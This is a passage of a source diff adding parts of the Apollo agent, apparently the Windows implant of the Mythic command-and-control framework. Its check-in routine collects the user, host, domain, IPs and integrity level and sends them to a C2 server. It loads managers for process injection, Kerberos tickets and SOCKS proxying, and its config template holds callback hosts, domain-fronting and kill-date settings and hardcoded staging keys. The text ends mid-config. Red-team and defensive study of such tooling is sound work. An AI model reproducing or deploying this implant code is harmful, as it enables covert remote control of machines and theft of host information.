{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.Build.0 = Debug|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.Build.0 = Debug|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.ActiveCfg = Release|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.Build.0 = Release|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.ActiveCfg = Release|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.Build.0 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,175 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using AM = Apollo.Management;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using Microsoft.Win32;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
|
||||
namespace Apollo.Agent
|
||||
{
|
||||
public class Apollo : ApolloInterop.Classes.Agent
|
||||
{
|
||||
|
||||
public Apollo(string uuid) : base(uuid)
|
||||
{
|
||||
Api = new Api.Api();
|
||||
C2ProfileManager = new AM.C2.C2ProfileManager(this);
|
||||
PeerManager = new AM.Peer.PeerManager(this);
|
||||
SocksManager = new AM.Socks.SocksManager(this);
|
||||
RpfwdManager = new AM.Rpfwd.RpfwdManager(this);
|
||||
TaskManager = new AM.Tasks.TaskManager(this);
|
||||
FileManager = new AM.Files.FileManager(this);
|
||||
IdentityManager = new AM.Identity.IdentityManager(this);
|
||||
ProcessManager = new Process.ProcessManager(this);
|
||||
InjectionManager = new Injection.InjectionManager(this);
|
||||
TicketManager = new KerberosTickets.KerberosTicketManager(this);
|
||||
|
||||
|
||||
foreach (string profileName in Config.EgressProfiles.Keys)
|
||||
{
|
||||
var map = Config.EgressProfiles[profileName];
|
||||
|
||||
var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey });
|
||||
var serializer = CreateType(map.TSerializer, new object[] { crypto });
|
||||
var c2 = CreateType(map.TC2Profile, new object[]
|
||||
{
|
||||
map.Parameters,
|
||||
(ISerializer)serializer,
|
||||
this
|
||||
});
|
||||
|
||||
C2ProfileManager.AddEgress((IC2Profile)c2);
|
||||
}
|
||||
|
||||
if (C2ProfileManager.GetEgressCollection().Length == 0)
|
||||
{
|
||||
throw new Exception("No egress profiles specified.");
|
||||
}
|
||||
|
||||
foreach (string profileName in Config.IngressProfiles.Keys)
|
||||
{
|
||||
var map = Config.EgressProfiles[profileName];
|
||||
|
||||
var crypto = CreateType(map.TCryptography, new object[] { Config.PayloadUUID, Config.StagingRSAPrivateKey });
|
||||
var serializer = CreateType(map.TSerializer, new object[] { crypto });
|
||||
var c2 = CreateType(map.TC2Profile, new object[]
|
||||
{
|
||||
map.Parameters,
|
||||
(ISerializer)serializer,
|
||||
this
|
||||
});
|
||||
|
||||
C2ProfileManager.AddIngress((IC2Profile)c2);
|
||||
}
|
||||
}
|
||||
|
||||
public override void Start()
|
||||
{
|
||||
while (Alive)
|
||||
{
|
||||
if (Checkin())
|
||||
{
|
||||
IC2Profile[] c2s = C2ProfileManager.GetConnectedEgressCollection();
|
||||
foreach(var c2 in c2s)
|
||||
{
|
||||
c2.Start();
|
||||
}
|
||||
}
|
||||
System.Threading.Thread.Sleep(1000);
|
||||
}
|
||||
}
|
||||
|
||||
private static string[] GetIPs()
|
||||
{
|
||||
var ifaces = NetworkInterface.GetAllNetworkInterfaces()
|
||||
.Where(iface =>
|
||||
iface.OperationalStatus == OperationalStatus.Up && iface.NetworkInterfaceType != NetworkInterfaceType.Loopback
|
||||
)
|
||||
.OrderBy(iface => iface.GetIPProperties().GatewayAddresses.ToArray().Length); // Push interfaces with a gateway to the front
|
||||
|
||||
var ipaddrs = new List<string>();
|
||||
foreach (var iface in ifaces)
|
||||
{
|
||||
var addrs = iface.GetIPProperties().UnicastAddresses;
|
||||
|
||||
// Put the IPv4 addresses before the IPv6 addresses
|
||||
ipaddrs.AddRange(
|
||||
addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetwork)
|
||||
.Select(addr => addr.Address.ToString())
|
||||
);
|
||||
|
||||
ipaddrs.AddRange(
|
||||
addrs.Where(addr => addr.Address.AddressFamily == AddressFamily.InterNetworkV6)
|
||||
.Select(addr => addr.Address.ToString())
|
||||
);
|
||||
}
|
||||
|
||||
return [.. ipaddrs];
|
||||
}
|
||||
|
||||
private static string GetOSVersion()
|
||||
{
|
||||
return Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", "");
|
||||
}
|
||||
|
||||
private bool Checkin()
|
||||
{
|
||||
CheckinMessage msg = new CheckinMessage()
|
||||
{
|
||||
Action = "checkin",
|
||||
OS = $"{GetOSVersion()} {Environment.OSVersion.Version}",
|
||||
User = Environment.UserName,
|
||||
Host = Dns.GetHostName(),
|
||||
PID = System.Diagnostics.Process.GetCurrentProcess().Id,
|
||||
ProcessName = System.Diagnostics.Process.GetCurrentProcess().ProcessName,
|
||||
IPs = GetIPs(),
|
||||
UUID = UUID,
|
||||
Architecture = IntPtr.Size == 8 ? "x64" : "x86",
|
||||
Domain = Environment.UserDomainName,
|
||||
// Modify this later.
|
||||
IntegrityLevel = IdentityManager.GetIntegrityLevel(),
|
||||
ExternalIP = "",
|
||||
Cwd= Directory.GetCurrentDirectory(),
|
||||
};
|
||||
IC2Profile connectProfile = null;
|
||||
bool bRet = false;
|
||||
foreach(var profile in C2ProfileManager.GetEgressCollection())
|
||||
{
|
||||
try
|
||||
{
|
||||
if (profile.Connect(msg, delegate (MessageResponse r)
|
||||
{
|
||||
connectProfile = profile;
|
||||
UUID = r.ID;
|
||||
bRet = true;
|
||||
return bRet;
|
||||
}))
|
||||
{
|
||||
break;
|
||||
}
|
||||
} catch(Exception ex)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
|
||||
}
|
||||
|
||||
private object CreateType(Type t, object[] args)
|
||||
{
|
||||
var ctors = t.GetConstructors();
|
||||
return ctors[0].Invoke(args);
|
||||
}
|
||||
|
||||
public override void Exit()
|
||||
{
|
||||
base.Exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
using ApolloInterop.Classes;
|
||||
using PlaintextCryptography;
|
||||
using PSKCryptography;
|
||||
using ApolloInterop.Serializers;
|
||||
using ApolloInterop.Classes.Api;
|
||||
using SimpleResolver;
|
||||
namespace Apollo.Api
|
||||
{
|
||||
public class Api : IApi
|
||||
{
|
||||
private IWin32ApiResolver _win32ApiResolver;
|
||||
public Api()
|
||||
{
|
||||
_win32ApiResolver = new GetProcResolver();
|
||||
}
|
||||
|
||||
|
||||
public string NewUUID()
|
||||
{
|
||||
return Guid.NewGuid().ToString();
|
||||
}
|
||||
|
||||
public RSAKeyGenerator NewRSAKeyPair(int szKey)
|
||||
{
|
||||
return new Cryptography.RSA.RSAKeyPair(szKey);
|
||||
}
|
||||
|
||||
public ICryptographySerializer NewEncryptedJsonSerializer(string uuid, Type cryptoType, string key = "")
|
||||
{
|
||||
if (string.IsNullOrEmpty(key))
|
||||
{
|
||||
Cryptography.RSA.RSAKeyPair keys = new Cryptography.RSA.RSAKeyPair(4096);
|
||||
key = keys.PrivateKey;
|
||||
}
|
||||
|
||||
//string aesKey = "ACstCeIXHEqdn/QM3YsAX24yfRUX6JBtOdhkAwnfQrw=";
|
||||
//string uuid = "9f006dd8-7036-455b-99ed-d0b5f19ba921";
|
||||
|
||||
EncryptedJsonSerializer result;
|
||||
|
||||
if (cryptoType == typeof(PlaintextCryptographyProvider))
|
||||
{
|
||||
PlaintextCryptographyProvider plain = new PlaintextCryptographyProvider(uuid, key);
|
||||
result = new EncryptedJsonSerializer(plain);
|
||||
} else if (cryptoType == typeof(PSKCryptographyProvider))
|
||||
{
|
||||
PSKCryptographyProvider psk = new PSKCryptographyProvider(uuid, key);
|
||||
result = new EncryptedJsonSerializer(psk);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new ArgumentException($"Unsupported cryptography type: {cryptoType.Name}");
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public T GetLibraryFunction<T>(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
|
||||
{
|
||||
return _win32ApiResolver.GetLibraryFunction<T>(library, functionName, canLoadFromDisk, resolveForwards);
|
||||
}
|
||||
|
||||
public T GetLibraryFunction<T>(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
|
||||
{
|
||||
return _win32ApiResolver.GetLibraryFunction<T>(library, ordinal, canLoadFromDisk, resolveForwards);
|
||||
}
|
||||
|
||||
public T GetLibraryFunction<T>(Library library, string functionHash, long key, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate
|
||||
{
|
||||
return _win32ApiResolver.GetLibraryFunction<T>(library, functionHash, key, canLoadFromDisk, resolveForwards);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using ApolloInterop.Classes;
|
||||
|
||||
namespace Apollo.Api.Cryptography
|
||||
{
|
||||
public static class RSA
|
||||
{
|
||||
public class RSAKeyPair : RSAKeyGenerator
|
||||
{
|
||||
public string PublicKey;
|
||||
public string PrivateKey;
|
||||
|
||||
public RSAKeyPair(int szKey) : base(szKey)
|
||||
{
|
||||
RSA = new RSACryptoServiceProvider(szKey)
|
||||
{
|
||||
PersistKeyInCsp = false
|
||||
};
|
||||
|
||||
PublicKey = ExportPublicKey();
|
||||
PrivateKey = ExportPrivateKey();
|
||||
}
|
||||
|
||||
public RSAKeyPair(RSACryptoServiceProvider provider) : base(provider)
|
||||
{
|
||||
PublicKey = ExportPublicKey();
|
||||
PrivateKey = ExportPrivateKey();
|
||||
}
|
||||
|
||||
public override String ExportPrivateKey()
|
||||
{
|
||||
TextWriter outputStream = new StringWriter();
|
||||
|
||||
if (RSA.PublicOnly) throw new ArgumentException("CSP does not contain a private key", "csp");
|
||||
var parameters = RSA.ExportParameters(true);
|
||||
using (var stream = new MemoryStream())
|
||||
{
|
||||
var writer = new BinaryWriter(stream);
|
||||
writer.Write((byte)0x30); // SEQUENCE
|
||||
using (var innerStream = new MemoryStream())
|
||||
{
|
||||
var innerWriter = new BinaryWriter(innerStream);
|
||||
EncodeIntegerBigEndian(innerWriter, new byte[] { 0x00 }); // Version
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.Modulus);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.Exponent);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.D);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.P);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.Q);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.DP);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.DQ);
|
||||
EncodeIntegerBigEndian(innerWriter, parameters.InverseQ);
|
||||
var length = (int)innerStream.Length;
|
||||
EncodeLength(writer, length);
|
||||
writer.Write(innerStream.GetBuffer(), 0, length);
|
||||
}
|
||||
|
||||
var base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length).ToCharArray();
|
||||
outputStream.WriteLine("-----BEGIN RSA PRIVATE KEY-----");
|
||||
// Output as Base64 with lines chopped at 64 characters
|
||||
for (var i = 0; i < base64.Length; i += 64)
|
||||
{
|
||||
outputStream.WriteLine(base64, i, Math.Min(64, base64.Length - i));
|
||||
}
|
||||
outputStream.WriteLine("-----END RSA PRIVATE KEY-----");
|
||||
}
|
||||
|
||||
return outputStream.ToString();
|
||||
}
|
||||
|
||||
public override String ExportPublicKey()
|
||||
{
|
||||
StringWriter outputStream = new StringWriter();
|
||||
var parameters = RSA.ExportParameters(false);
|
||||
using (var stream = new MemoryStream())
|
||||
{
|
||||
var writer = new BinaryWriter(stream);
|
||||
writer.Write((byte)0x30); // SEQUENCE
|
||||
using (var innerStream = new MemoryStream())
|
||||
{
|
||||
var innerWriter = new BinaryWriter(innerStream);
|
||||
innerWriter.Write((byte)0x30); // SEQUENCE
|
||||
EncodeLength(innerWriter, 13);
|
||||
innerWriter.Write((byte)0x06); // OBJECT IDENTIFIER
|
||||
var rsaEncryptionOid = new byte[] { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01 };
|
||||
EncodeLength(innerWriter, rsaEncryptionOid.Length);
|
||||
innerWriter.Write(rsaEncryptionOid);
|
||||
innerWriter.Write((byte)0x05); // NULL
|
||||
EncodeLength(innerWriter, 0);
|
||||
innerWriter.Write((byte)0x03); // BIT STRING
|
||||
using (var bitStringStream = new MemoryStream())
|
||||
{
|
||||
var bitStringWriter = new BinaryWriter(bitStringStream);
|
||||
bitStringWriter.Write((byte)0x00); // # of unused bits
|
||||
bitStringWriter.Write((byte)0x30); // SEQUENCE
|
||||
using (var paramsStream = new MemoryStream())
|
||||
{
|
||||
var paramsWriter = new BinaryWriter(paramsStream);
|
||||
EncodeIntegerBigEndian(paramsWriter, parameters.Modulus); // Modulus
|
||||
EncodeIntegerBigEndian(paramsWriter, parameters.Exponent); // Exponent
|
||||
var paramsLength = (int)paramsStream.Length;
|
||||
EncodeLength(bitStringWriter, paramsLength);
|
||||
bitStringWriter.Write(paramsStream.GetBuffer(), 0, paramsLength);
|
||||
}
|
||||
var bitStringLength = (int)bitStringStream.Length;
|
||||
EncodeLength(innerWriter, bitStringLength);
|
||||
innerWriter.Write(bitStringStream.GetBuffer(), 0, bitStringLength);
|
||||
}
|
||||
var length = (int)innerStream.Length;
|
||||
EncodeLength(writer, length);
|
||||
writer.Write(innerStream.GetBuffer(), 0, length);
|
||||
}
|
||||
|
||||
string base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length);
|
||||
return base64;
|
||||
}
|
||||
}
|
||||
|
||||
private static void EncodeLength(BinaryWriter stream, int length)
|
||||
{
|
||||
if (length < 0) throw new ArgumentOutOfRangeException("length", "Length must be non-negative");
|
||||
if (length < 0x80)
|
||||
{
|
||||
// Short form
|
||||
stream.Write((byte)length);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Long form
|
||||
var temp = length;
|
||||
var bytesRequired = 0;
|
||||
while (temp > 0)
|
||||
{
|
||||
temp >>= 8;
|
||||
bytesRequired++;
|
||||
}
|
||||
stream.Write((byte)(bytesRequired | 0x80));
|
||||
for (var i = bytesRequired - 1; i >= 0; i--)
|
||||
{
|
||||
stream.Write((byte)(length >> (8 * i) & 0xff));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void EncodeIntegerBigEndian(BinaryWriter stream, byte[] value, bool forceUnsigned = true)
|
||||
{
|
||||
stream.Write((byte)0x02); // INTEGER
|
||||
var prefixZeros = 0;
|
||||
for (var i = 0; i < value.Length; i++)
|
||||
{
|
||||
if (value[i] != 0) break;
|
||||
prefixZeros++;
|
||||
}
|
||||
if (value.Length - prefixZeros == 0)
|
||||
{
|
||||
EncodeLength(stream, 1);
|
||||
stream.Write((byte)0);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (forceUnsigned && value[prefixZeros] > 0x7f)
|
||||
{
|
||||
// Add a prefix zero to force unsigned if the MSB is 1
|
||||
EncodeLength(stream, value.Length - prefixZeros + 1);
|
||||
stream.Write((byte)0);
|
||||
}
|
||||
else
|
||||
{
|
||||
EncodeLength(stream, value.Length - prefixZeros);
|
||||
}
|
||||
for (var i = prefixZeros; i < value.Length; i++)
|
||||
{
|
||||
stream.Write(value[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net451</TargetFramework>
|
||||
<OutputType>Exe</OutputType>
|
||||
<LangVersion>12</LangVersion>
|
||||
<Nullable>enable</Nullable>
|
||||
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||
<Platforms>AnyCPU;x64;x86</Platforms>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\..\..\..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Security" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\ApolloInterop\ApolloInterop.csproj" />
|
||||
<ProjectReference Include="..\DInvokeResolver\DInvokeResolver.csproj" />
|
||||
<ProjectReference Include="..\EncryptedFileStore\EncryptedFileStore.csproj" />
|
||||
<ProjectReference Include="..\HttpProfile\HttpProfile.csproj" />
|
||||
<ProjectReference Include="..\HttpxProfile\HttpxProfile.csproj" />
|
||||
<ProjectReference Include="..\HttpxTransform\HttpxTransform.csproj" />
|
||||
<ProjectReference Include="..\Injection\Injection.csproj" />
|
||||
<ProjectReference Include="..\KerberosTickets\KerberosTickets.csproj" />
|
||||
<ProjectReference Include="..\NamedPipeProfile\NamedPipeProfile.csproj" />
|
||||
<ProjectReference Include="..\PlaintextCrypto\PlaintextCryptography.csproj" />
|
||||
<ProjectReference Include="..\Process\Process.csproj" />
|
||||
<ProjectReference Include="..\PSKCrypto\PSKCryptography.csproj" />
|
||||
<ProjectReference Include="..\SimpleResolver\SimpleResolver.csproj" />
|
||||
<ProjectReference Include="..\Tasks\Tasks.csproj" />
|
||||
<ProjectReference Include="..\TcpProfile\TcpProfile.csproj" />
|
||||
<ProjectReference Include="..\WebsocketProfile\WebsocketProfile.csproj" />
|
||||
<ProjectReference Include="..\AzureBlobProfile\AzureBlobProfile.csproj" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Costura.Fody" Version="5.7.0" PrivateAssets="All" />
|
||||
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
|
||||
<PackageReference Include="PolySharp" Version="1.14.1" />
|
||||
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -0,0 +1,294 @@
|
||||
#define C2PROFILE_NAME_UPPER
|
||||
|
||||
//#define LOCAL_BUILD
|
||||
|
||||
#if LOCAL_BUILD
|
||||
//#define HTTP
|
||||
//#define WEBSOCKET
|
||||
//#define TCP
|
||||
//#define SMB
|
||||
//#define AZURE_BLOB
|
||||
//#define HTTPX
|
||||
#endif
|
||||
|
||||
#if HTTP
|
||||
using HttpTransport;
|
||||
#endif
|
||||
#if HTTPX
|
||||
using HttpxTransport;
|
||||
#endif
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using PSKCryptography;
|
||||
using ApolloInterop.Serializers;
|
||||
#if WEBSOCKET
|
||||
using WebsocketTransport;
|
||||
#endif
|
||||
#if SMB
|
||||
using NamedPipeTransport;
|
||||
#endif
|
||||
#if TCP
|
||||
using TcpTransport;
|
||||
#endif
|
||||
#if AZURE_BLOB
|
||||
using AzureBlobTransport;
|
||||
#endif
|
||||
namespace Apollo
|
||||
{
|
||||
public static class Config
|
||||
{
|
||||
public static Dictionary<string, C2ProfileData> EgressProfiles = new Dictionary<string, C2ProfileData>()
|
||||
{
|
||||
#if HTTP
|
||||
{ "http", new C2ProfileData()
|
||||
{
|
||||
TC2Profile = typeof(HttpProfile),
|
||||
TCryptography = typeof(PSKCryptographyProvider),
|
||||
TSerializer = typeof(EncryptedJsonSerializer),
|
||||
Parameters = new Dictionary<string, string>()
|
||||
{
|
||||
#if LOCAL_BUILD
|
||||
{ "callback_interval", "1" },
|
||||
{ "callback_jitter", "0" },
|
||||
{ "callback_port", "80" },
|
||||
{ "callback_host", "http://192.168.53.1" },
|
||||
{ "post_uri", "data" },
|
||||
{ "encrypted_exchange_check", "T" },
|
||||
{ "proxy_host", "" },
|
||||
{ "proxy_port", "" },
|
||||
{ "proxy_user", "" },
|
||||
{ "proxy_pass", "" },
|
||||
{ "domain_front", "domain_front" },
|
||||
{ "killdate", "-1" },
|
||||
{ "USER_AGENT", "Apollo-Refactor" },
|
||||
#else
|
||||
{ "callback_interval", "http_callback_interval_here" },
|
||||
{ "callback_jitter", "http_callback_jitter_here" },
|
||||
{ "callback_port", "http_callback_port_here" },
|
||||
{ "callback_host", "http_callback_host_here" },
|
||||
{ "post_uri", "http_post_uri_here" },
|
||||
{ "encrypted_exchange_check", "http_encrypted_exchange_check_here" },
|
||||
{ "proxy_host", "http_proxy_host_here" },
|
||||
{ "proxy_port", "http_proxy_port_here" },
|
||||
{ "proxy_user", "http_proxy_user_here" },
|
||||
{ "proxy_pass", "http_proxy_pass_here" },
|
||||
{ "killdate", "http_killdate_here" },
|
||||
HTTP_ADDITIONAL_HEADERS_HERE
|
||||
#endif
|
||||
}
|
||||
}
|
||||
},
|
||||
#endif
|
||||
#if WEBSOCKET
|
||||
{ "websocket", new C2ProfileData()
|
||||
{
|
||||
TC2Profile = typeof(WebsocketProfile),
|
||||
TCryptography = typeof(PSKCryptographyProvider),
|
||||
TSerializer = typeof(EncryptedJsonSerializer),
|
||||
Parameters = new Dictionary<string, string>()
|
||||
{
|
||||
#if LOCAL_BUILD
|
||||
{ "tasking_type", "Push" },
|
||||
{ "callback_interval", "5" },
|
||||
{ "callback_jitter", "0" },
|
||||
{ "callback_port", "8081" },
|
||||
{ "callback_host", "ws://mythic" },
|
||||
{ "ENDPOINT_REPLACE", "socket" },
|
||||
{ "encrypted_exchange_check", "T" },
|
||||
{ "domain_front", "domain_front" },
|
||||
{ "killdate", "-1" },
|
||||
{ "USER_AGENT", "Apollo-Refactor" },
|
||||
#else
|
||||
{ "tasking_type", "websocket_tasking_type_here"},
|
||||
{ "callback_interval", "websocket_callback_interval_here" },
|
||||
{ "callback_jitter", "websocket_callback_jitter_here" },
|
||||
{ "callback_port", "websocket_callback_port_here" },
|
||||
{ "callback_host", "websocket_callback_host_here" },
|
||||
{ "ENDPOINT_REPLACE", "websocket_ENDPOINT_REPLACE_here" },
|
||||
{ "encrypted_exchange_check", "websocket_encrypted_exchange_check_here" },
|
||||
{ "domain_front", "websocket_domain_front_here" },
|
||||
{ "USER_AGENT", "websocket_USER_AGENT_here" },
|
||||
{ "killdate", "websocket_killdate_here" },
|
||||
HTTP_ADDITIONAL_HEADERS_HERE
|
||||
#endif
|
||||
}
|
||||
}
|
||||
},
|
||||
#endif
|
||||
#if SMB
|
||||
{ "smb", new C2ProfileData()
|
||||
{
|
||||
TC2Profile = typeof(NamedPipeProfile),
|
||||
TCryptography = typeof(PSKCryptographyProvider),
|
||||
TSerializer = typeof(EncryptedJsonSerializer),
|
||||
Parameters = new Dictionary<string, string>()
|
||||
{
|
||||
#if LOCAL_BUILD
|
||||
{ "pipename", "h20iexte-2l1t-mmfu-ipjh-6ofmobkaruq8" },
|
||||
{ "encrypted_exchange_check", "true" },
|
||||
#else
|
||||
{ "pipename", "smb_pipename_here" },
|
||||
{ "encrypted_exchange_check", "smb_encrypted_exchange_check_here" },
|
||||
#endif
|
||||
}
|
||||
}
|
||||
},
|
||||
#endif
|
||||
#if TCP
|
||||
{ "tcp", new C2ProfileData()
|
||||
{
|
||||
TC2Profile = typeof(TcpProfile),
|
||||
TCryptography = typeof(PSKCryptographyProvider),
|
||||
TSerializer = typeof(EncryptedJsonSerializer),
|
||||
Parameters = new Dictionary<string, string>()
|
||||
{
|
||||
#if LOCAL_BUILD
|
||||
{ "port", "40000" },
|
||||
{ "encrypted_exchange_check", "true" },
|
||||
#else
|
||||
{ "port", "tcp_port_here" },
|
||||
{ "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" },
|
||||
#endif
|
||||
}
|
||||
}
|
||||
},
|
||||
#endif
|
||||
#if AZURE_BLOB
|
||||
{ "azure_blob", new C2ProfileData()
|
||||
{
|
||||
TC2Profile = typeof(AzureBlobProfile),
|
||||
TCryptography = typeof(PSKCryptographyProvider),
|
||||
TSerializer = typeof(EncryptedJsonSerializer),
|
||||
Parameters = new Dictionary<string, string>()
|
||||
{
|
||||
#if LOCAL_BUILD
|
||||
{ "blob_endpoint", "https://yourstorageaccount.blob.core.windows.net" },
|
||||
{ "container_name", "agent-test12345ab" },
|
||||
{ "sas_token", "your_test_sas_token_here" },
|
||||
{ "callback_interval", "5" },
|
||||
{ "callback_jitter", "10" },
|
||||
{ "encrypted_exchange_check", "T" },
|
||||
{ "killdate", "-1" },
|
||||
{ "enable_certificate_check", "true" },
|
||||
{ "proxy_host", "" },
|
||||
{ "proxy_port", "" },
|
||||
{ "proxy_user", "" },
|
||||
{ "proxy_pass", "" },
|
||||
#else
|
||||
{ "blob_endpoint", "azure_blob_blob_endpoint_here" },
|
||||
{ "container_name", "azure_blob_container_name_here" },
|
||||
{ "sas_token", "azure_blob_sas_token_here" },
|
||||
{ "callback_interval", "azure_blob_callback_interval_here" },
|
||||
{ "callback_jitter", "azure_blob_callback_jitter_here" },
|
||||
{ "encrypted_exchange_check", "azure_blob_encrypted_exchange_check_here" },
|
||||
{ "killdate", "azure_blob_killdate_here" },
|
||||
{ "enable_certificate_check", "azure_blob_enable_certificate_check_here" },
|
||||
{ "proxy_host", "azure_blob_proxy_host_here" },
|
||||
{ "proxy_port", "azure_blob_proxy_port_here" },
|
||||
{ "proxy_user", "azure_blob_proxy_user_here" },
|
||||
{ "proxy_pass", "azure_blob_proxy_pass_here" },
|
||||
#endif
|
||||
}
|
||||
}
|
||||
},
|
||||
#endif
|
||||
#if HTTPX
|
||||
{ "httpx", new C2ProfileData()
|
||||
{
|
||||
TC2Profile = typeof(HttpxProfile),
|
||||
TCryptography = typeof(PSKCryptographyProvider),
|
||||
TSerializer = typeof(EncryptedJsonSerializer),
|
||||
Parameters = new Dictionary<string, string>()
|
||||
{
|
||||
#if LOCAL_BUILD
|
||||
{ "callback_interval", "10" },
|
||||
{ "callback_jitter", "23" },
|
||||
{ "callback_domains", "https://example.com:443" },
|
||||
{ "domain_rotation", "fail-over" },
|
||||
{ "failover_threshold", "5" },
|
||||
{ "encrypted_exchange_check", "true" },
|
||||
{ "killdate", "-1" },
|
||||
{ "raw_c2_config", "" },
|
||||
#else
|
||||
{ "callback_interval", "httpx_callback_interval_here" },
|
||||
{ "callback_jitter", "httpx_callback_jitter_here" },
|
||||
{ "callback_domains", "httpx_callback_domains_here" },
|
||||
{ "domain_rotation", "httpx_domain_rotation_here" },
|
||||
{ "failover_threshold", "httpx_failover_threshold_here" },
|
||||
{ "encrypted_exchange_check", "httpx_encrypted_exchange_check_here" },
|
||||
{ "killdate", "httpx_killdate_here" },
|
||||
{ "raw_c2_config", "httpx_raw_c2_config_here" },
|
||||
{ "proxy_host", "httpx_proxy_host_here" },
|
||||
{ "proxy_port", "httpx_proxy_port_here" },
|
||||
{ "proxy_user", "httpx_proxy_user_here" },
|
||||
{ "proxy_pass", "httpx_proxy_pass_here" },
|
||||
{ "domain_front", "httpx_domain_front_here" },
|
||||
{ "timeout", "httpx_timeout_here" },
|
||||
#endif
|
||||
}
|
||||
}
|
||||
},
|
||||
#endif
|
||||
};
|
||||
|
||||
|
||||
public static Dictionary<string, C2ProfileData> IngressProfiles = new Dictionary<string, C2ProfileData>();
|
||||
#if LOCAL_BUILD
|
||||
#if HTTP
|
||||
public static string StagingRSAPrivateKey = "wkskVa0wTi4E3EZ6bi9YyKpbHb01NNDgZ1BXnJJM5io=";
|
||||
#elif WEBSOCKET
|
||||
public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM=";
|
||||
#elif SMB
|
||||
public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc=";
|
||||
#elif TCP
|
||||
public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg=";
|
||||
#elif AZURE_BLOB
|
||||
